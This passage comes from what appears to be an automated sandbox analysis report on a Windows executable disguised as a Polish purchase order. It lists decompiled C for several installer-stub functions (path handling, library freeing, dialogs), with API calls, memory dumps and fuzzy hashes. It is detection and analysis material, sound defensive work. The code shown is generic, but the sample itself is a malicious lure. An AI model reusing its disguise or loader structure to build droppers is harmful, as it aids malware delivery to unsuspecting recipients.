                                                                                              • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058AC
                                                                                              • GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\), ref: 004058BC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp
                                                                                              • API String ID: 3248276644-1775713218
                                                                                              • Opcode ID: 2f5f7bd10b83e5c994280ddce28bb3e0edcf250d71028fabecdb2709bf5dd46b
                                                                                              • Instruction ID: 1d2993da53655c0900dfa7f8eb6ffa86a16769ab8224128061af08a25d69d353
                                                                                              • Opcode Fuzzy Hash: 2f5f7bd10b83e5c994280ddce28bb3e0edcf250d71028fabecdb2709bf5dd46b
                                                                                              • Instruction Fuzzy Hash: 16F0F427105E5165DA22323B1C05B9F1A44CD86354718C53BFC51F22D2DA3CC8629DBE
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004035E4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004035E4() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41eccc; // 0x723648
				_t3 = E004035C9(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						_t1 = _t6 + 8; // 0x10000000
						FreeLibrary( *_t1);
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41eccc =  *0x41eccc & 0x00000000;
				return _t3;
			}







                                                                                              0x004035e5
                                                                                              0x004035ed
                                                                                              0x004035f4
                                                                                              0x004035f7
                                                                                              0x004035f7
                                                                                              0x004035f9
                                                                                              0x004035fb
                                                                                              0x004035fe
                                                                                              0x00403605
                                                                                              0x0040360b
                                                                                              0x0040360f
                                                                                              0x00403610
                                                                                              0x00403618

                                                                                              APIs
                                                                                              • FreeLibrary.KERNEL32(10000000,76283410,00000000,C:\Users\user\AppData\Local\Temp\,004035BC,004033D6,?), ref: 004035FE
                                                                                              • GlobalFree.KERNEL32(00723648), ref: 00403605
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Free$GlobalLibrary
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\$H6r
                                                                                              • API String ID: 1100898210-221880865
                                                                                              • Opcode ID: a52acb0b260d536fd7618f3e20de318eec4c6c539c6bb2def64801f0e67eaa78
                                                                                              • Instruction ID: f6c6d059f9b75f5cc6a79e0049e3afa1176d7e4558308c53008dbe788c85df41
                                                                                              • Opcode Fuzzy Hash: a52acb0b260d536fd7618f3e20de318eec4c6c539c6bb2def64801f0e67eaa78
                                                                                              • Instruction Fuzzy Hash: 3EE0C2338100206BC7211F0AED04B5E77AC6F48B22F054066FC407B3A08B742C418BCC
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040576B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E0040576B(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409014);
				}
				return _t7;
			}




                                                                                              0x0040576c
                                                                                              0x00405783
                                                                                              0x0040578b
                                                                                              0x0040578b
                                                                                              0x00405793

                                                                                              APIs
                                                                                              • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030C6,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405771
                                                                                              • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030C6,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 0040577A
                                                                                              • lstrcatA.KERNEL32(?,00409014), ref: 0040578B
                                                                                              Strings
                                                                                              • C:\Users\user\AppData\Local\Temp\, xrefs: 0040576B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharPrevlstrcatlstrlen
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                              • API String ID: 2659869361-3355392842
                                                                                              • Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
                                                                                              • Instruction ID: 00e6a1abdfef3fccf4d12e3b382aa79108487555f8088e95eeaee7bf5793dfbe
                                                                                              • Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
                                                                                              • Instruction Fuzzy Hash: 94D0A9B2A05A307AD3122715AC0DE8B2A08CF82300B094023F200B72A2CB3C1D418BFE
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 05701A1B Relevance: 6.3, Strings: 5, Instructions: 7COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14100531174.0000000005700000.00000040.00001000.00020000.00000000.sdmp, Offset: 05700000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_5700000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: ====$====$====$====$====
                                                                                              • API String ID: 0-3413894826
                                                                                              • Opcode ID: b988bd11ba7003a5b1bf59a657bf6ceb66926f932ff08a818bfbf90b289f193a
                                                                                              • Instruction ID: eb52344f860446542905003ae7fb30a3655a74648242155d4cc43b19a05100b5
                                                                                              • Opcode Fuzzy Hash: b988bd11ba7003a5b1bf59a657bf6ceb66926f932ff08a818bfbf90b289f193a
                                                                                              • Instruction Fuzzy Hash:
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405804 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405804(CHAR* _a4) {
				CHAR* _t5;
				char* _t7;
				CHAR* _t9;
				char _t10;
				CHAR* _t11;
				void* _t13;

				_t11 = _a4;
				_t9 = CharNextA(_t11);
				_t5 = CharNextA(_t9);
				_t10 =  *_t11;
				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
					if(_t10 != 0x5c || _t11[1] != _t10) {
						L10:
						return 0;
					} else {
						_t13 = 2;
						while(1) {
							_t13 = _t13 - 1;
							_t7 = E00405796(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 1;
							if(_t13 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextA(_t5);
				}
			}









                                                                                              0x0040580d
                                                                                              0x00405814
                                                                                              0x00405817
                                                                                              0x00405819
                                                                                              0x0040581d
                                                                                              0x00405832
                                                                                              0x00405851
                                                                                              0x00000000
                                                                                              0x00405839
                                                                                              0x0040583b
                                                                                              0x0040583c
                                                                                              0x0040583f
                                                                                              0x00405840
                                                                                              0x00405848
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040584a
                                                                                              0x0040584d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040584d
                                                                                              0x00000000
                                                                                              0x0040583c
                                                                                              0x0040582a
                                                                                              0x00000000
                                                                                              0x0040582b

                                                                                              APIs
                                                                                              • CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,?,00405870,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405812
                                                                                              • CharNextA.USER32(00000000), ref: 00405817
                                                                                              • CharNextA.USER32(00000000), ref: 0040582B
                                                                                              Strings
                                                                                              • C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp, xrefs: 00405805
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharNext
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp
                                                                                              • API String ID: 3213498283-1381924930
                                                                                              • Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
                                                                                              • Instruction ID: 4ca260c7e1a22d06af12069221c3406c2bee361732d71c1e98a9e22686a99acb
                                                                                              • Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
                                                                                              • Instruction Fuzzy Hash: 71F0C253908F942BFB3276641C44B675F88DB55350F04C07BEA80B62C2C6788860CBEA
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00402C02(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x4168c0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x42370c;
						if(_t2 >  *0x42370c) {
							_t3 = CreateDialogParamA( *0x423700, 0x6f, 0, E00402B7F, 0);
							 *0x4168c0 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E004060CE(0);
					}
				} else {
					_t6 =  *0x4168c0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x4168c0 = 0;
					return _t6;
				}
			}






                                                                                              0x00402c09
                                                                                              0x00402c23
                                                                                              0x00402c29
                                                                                              0x00402c33
                                                                                              0x00402c39
                                                                                              0x00402c3f
                                                                                              0x00402c50
                                                                                              0x00402c59
                                                                                              0x00000000
                                                                                              0x00402c5e
                                                                                              0x00402c65
                                                                                              0x00402c2b
                                                                                              0x00402c32
                                                                                              0x00402c32
                                                                                              0x00402c0b
                                                                                              0x00402c0b
                                                                                              0x00402c12
                                                                                              0x00402c15
                                                                                              0x00402c15
                                                                                              0x00402c1b
                                                                                              0x00402c22
                                                                                              0x00402c22

                                                                                              APIs
                                                                                              • DestroyWindow.USER32(00000000,00000000,00402DE2,?), ref: 00402C15
                                                                                              • GetTickCount.KERNEL32 ref: 00402C33
                                                                                              • CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
                                                                                              • ShowWindow.USER32(00000000,00000005), ref: 00402C5E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                                                              • String ID:
                                                                                              • API String ID: 2102729457-0
                                                                                              • Opcode ID: bb4189f2555980a5a403f1716edff6096ea92162ad211e01232e213a33bdd725
                                                                                              • Instruction ID: 69bd14cd8f1a0d496662edafeb8c2727d8675a530a128bc1770b64b88ff4c26b
                                                                                              • Opcode Fuzzy Hash: bb4189f2555980a5a403f1716edff6096ea92162ad211e01232e213a33bdd725
                                                                                              • Instruction Fuzzy Hash: 2CF05E7090A220ABD6217F64FE0CDDF7BA4FB41B527018576F144B21E4C379988ACB9D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00404E86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 91%
                                                                                              			E00404E86(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t11;
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					__eflags = _t15 - 0x200;
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						__eflags = _t15 - 0x419;
						if(_t15 == 0x419) {
							__eflags =  *0x41fcf4 - _t16; // 0x0
							if(__eflags != 0) {
								_push(_t16);
								_push(6);
								 *0x41fcf4 = _t16;
								E0040485D();
							}
						}
						L11:
						return CallWindowProcA( *0x41fcfc, _a4, _t15, _a12, _t16);
					}
					_t11 = IsWindowVisible(_a4);
					__eflags = _t11;
					if(_t11 == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E004047DD(_a4, "true");
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 == 0x20) {
					E00403F2A(0x413);
					return 0;
				}
				goto L10;
			}






                                                                                              0x00404e8a
                                                                                              0x00404e94
                                                                                              0x00404eaa
                                                                                              0x00404eb0
                                                                                              0x00404ed2
                                                                                              0x00404ed5
                                                                                              0x00404ed5
                                                                                              0x00404edb
                                                                                              0x00404edd
                                                                                              0x00404ee3
                                                                                              0x00404ee5
                                                                                              0x00404ee6
                                                                                              0x00404ee8
                                                                                              0x00404eee
                                                                                              0x00404eee
                                                                                              0x00404ee3
                                                                                              0x00404ef8
                                                                                              0x00000000
                                                                                              0x00404f06
                                                                                              0x00404eb5
                                                                                              0x00404ebb
                                                                                              0x00404ebd
                                                                                              0x00404ef5
                                                                                              0x00404ef5
                                                                                              0x00000000
                                                                                              0x00404ef5
                                                                                              0x00404ec9
                                                                                              0x00404ecb
                                                                                              0x00000000
                                                                                              0x00404ecb
                                                                                              0x00404e9a
                                                                                              0x00404ea1
                                                                                              0x00000000
                                                                                              0x00404ea6
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • IsWindowVisible.USER32(?), ref: 00404EB5
                                                                                              • CallWindowProcA.USER32(?,?,?,?), ref: 00404F06
                                                                                                • Part of subcall function 00403F2A: SendMessageA.USER32(0001041C,00000000,00000000,00000000), ref: 00403F3C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$CallMessageProcSendVisible
                                                                                              • String ID:
                                                                                              • API String ID: 3748168415-3916222277
                                                                                              • Opcode ID: d7dba211b113031370aa0d375adf93c2d3682e4ecf800ebd227cab9ba7078c69
                                                                                              • Instruction ID: f49a9e3fcece2dd6490d1841f3d0f5b5163df4d3f93a23d44cf999a9bd086e10
                                                                                              • Opcode Fuzzy Hash: d7dba211b113031370aa0d375adf93c2d3682e4ecf800ebd227cab9ba7078c69
                                                                                              • Instruction Fuzzy Hash: D10171B110020EABDF209F11DC84A9B3725FBC4754F208037FB11761D1DB799C61A7A9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004057B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004057B2(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}





                                                                                              0x004057b3
                                                                                              0x004057bd
                                                                                              0x004057bf
                                                                                              0x004057c6
                                                                                              0x004057ce
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004057ce
                                                                                              0x004057d0
                                                                                              0x004057d5

                                                                                              APIs
                                                                                              • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 004057B8
                                                                                              • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 004057C6
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharPrevlstrlen
                                                                                              • String ID: C:\Users\user\Desktop
                                                                                              • API String ID: 2709904686-3370423016
                                                                                              • Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
                                                                                              • Instruction ID: 15550f116ff3ce815c4487a542d9ae56249738f0e4d38f85a76656e2d55d0e49
                                                                                              • Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
                                                                                              • Instruction Fuzzy Hash: FAD0C7B2409D705EF31353149C08B9F6A58DF16700F195463E141EB591C6785D415BBD
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E100010E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x1000405c = _a8;
				 *0x10004060 = _a16;
				 *0x10004064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E10001556, _t52);
				_t43 =  *0x1000405c +  *0x1000405c * 4 << 2;
				_t17 = E1000123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E10001266(E100012AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E100012D1( *_t55 - 0x30, E1000123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x10004030;
								 *0x10004030 = _t31;
								E10001508(_t31 + 4,  *0x10004064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x10004030;
							if( *0x10004030 != 0) {
								E10001508( *0x10004064, _t34 + 4, _t43);
								_t37 =  *0x10004030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x10004030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
